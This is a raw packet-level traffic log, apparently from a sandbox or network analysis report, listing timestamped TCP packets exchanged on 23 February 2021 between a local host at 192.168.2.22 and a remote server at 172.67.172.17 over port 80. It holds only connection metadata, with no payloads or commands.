Feb 23, 2021 16:55:00.364412069 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.364415884 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.364439964 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.364454031 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.364460945 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.364502907 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.365823984 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.365856886 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.365879059 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.365899086 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.365901947 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.365920067 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.365936995 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.365940094 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.365976095 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.367274046 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.367305040 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.367326021 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.367346048 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.367355108 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.367368937 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.367377996 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.367391109 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.367434978 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.368853092 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.368884087 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.368906021 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.368926048 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.368946075 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.368966103 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.369014978 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.370296001 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.370326996 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.370347977 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.370368958 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.370368958 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.370388985 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.370390892 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.370409966 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.370426893 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.370439053 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.370474100 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.371408939 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.371436119 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.371458054 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.371479988 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.371527910 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.371551991 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.371572971 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.371572971 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.371599913 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.371612072 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.372598886 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.372625113 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.372648954 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.372661114 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.372669935 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.372678041 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.372690916 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.372710943 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.372720003 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.372733116 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.372752905 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.372772932 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.372775078 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.372808933 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.374429941 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.374459982 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.374481916 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.374502897 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.374515057 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.374522924 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.374531984 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.374547958 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.374571085 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.374578953 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.376135111 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.376169920 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.376190901 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.376210928 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.376214027 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.376231909 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.376231909 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.376255035 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.376264095 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.376277924 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.376297951 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.376316071 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.376318932 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.376358032 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.377484083 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.377516031 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.377536058 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.377558947 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.377580881 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.377580881 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.377597094 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.377603054 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.377624989 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.377643108 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.377645969 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.377666950 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.377680063 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.385251045 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.385293007 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.385314941 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.385334969 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.385356903 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.385377884 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.385407925 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.385427952 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.385433912 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.385448933 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.385459900 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.386578083 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.386617899 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.386642933 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.386663914 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.386682987 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.386693954 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.386703968 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.386715889 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.386727095 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.386744022 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.386749029 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.386770010 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.386776924 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.388237953 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.388273954 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.388294935 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.388314962 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.388335943 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.388355017 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.388355970 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.388375044 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.389602900 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.389642954 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.389695883 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.391082048 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.391124964 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.391146898 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.391166925 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.391180038 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.391202927 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.393120050 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.393160105 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.393181086 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.393203974 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.393224955 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.393246889 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.393249035 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.393265963 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.393266916 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.393285036 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.393311977 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.394609928 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.394646883 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.394670963 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.394690990 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.394711971 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.394732952 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.394731045 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.394748926 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.396473885 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.396512985 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.396533966 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.396557093 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.396599054 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.396615982 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.398015022 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.398051977 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.398075104 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.398096085 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.398116112 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.398134947 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.398139000 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.398156881 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.400207996 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.400243998 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.400268078 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.400290012 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.400333881 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.400346041 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.400355101 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.401892900 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.401926994 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.401947975 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.401968956 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.401988983 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.402005911 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.402008057 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.402034998 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.405595064 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.405639887 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.405662060 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.405721903 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.405766964 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.405790091 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.405806065 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.405812025 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.405836105 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.405853033 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.405899048 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.405925989 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.405936956 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.405987978 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.406022072 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.408199072 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.408225060 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.408246994 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.408268929 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.408288956 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.408309937 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.408329010 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.408328056 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.408354998 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.408374071 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.419157028 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.419198036 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.419225931 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.419258118 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.419285059 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.419313908 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.419317961 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.419343948 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.419347048 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.419375896 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.419388056 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.419405937 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.419434071 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.419437885 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.419506073 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.419534922 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.419544935 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.419564962 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.419593096 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.419596910 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.419620037 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.419644117 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.419660091 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.632405996 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:09.731744051 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:09.784735918 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.886451960 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.886480093 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.886498928 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.886518955 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.886542082 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.886563063 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.886583090 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.886605978 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.886615038 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.886626959 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.886650085 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.886727095 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.886764050 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.886821032 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.887773991 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.887799978 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.887823105 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.887837887 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.887845993 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.887866974 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.887871981 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.887897015 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.887916088 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.887921095 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.887939930 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.887958050 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.888103008 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.888127089 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.888149977 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.888154984 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.888180017 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.888194084 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.888205051 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.888227940 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.888251066 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.888254881 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.888272047 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.888295889 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.888295889 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.888322115 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.888334036 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.888350010 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.889065027 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.889086962 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.889110088 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.889118910 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.889133930 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.889148951 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.891766071 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.891788006 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.891810894 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.891833067 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.891856909 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.891859055 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.891876936 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.891880035 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.891918898 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.892779112 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.892803907 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.892827988 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.892851114 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.892853975 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.892875910 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.892888069 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.892899990 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.892925024 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.892935991 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.892949104 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.892968893 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.892990112 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.892992973 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.893033028 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.893232107 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.893255949 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.893269062 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.893280983 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.893296957 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.893315077 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.893332958 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.893357992 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.893359900 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.893373966 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.893398046 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.893405914 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.893426895 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.893477917 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.894197941 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.894223928 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.894248962 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.894263029 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.894273043 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.894299984 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.894320011 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.894325018 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.894350052 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:12.894362926 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:12.894375086 CET	80	49166	172.67.172.17	192.168.2.22
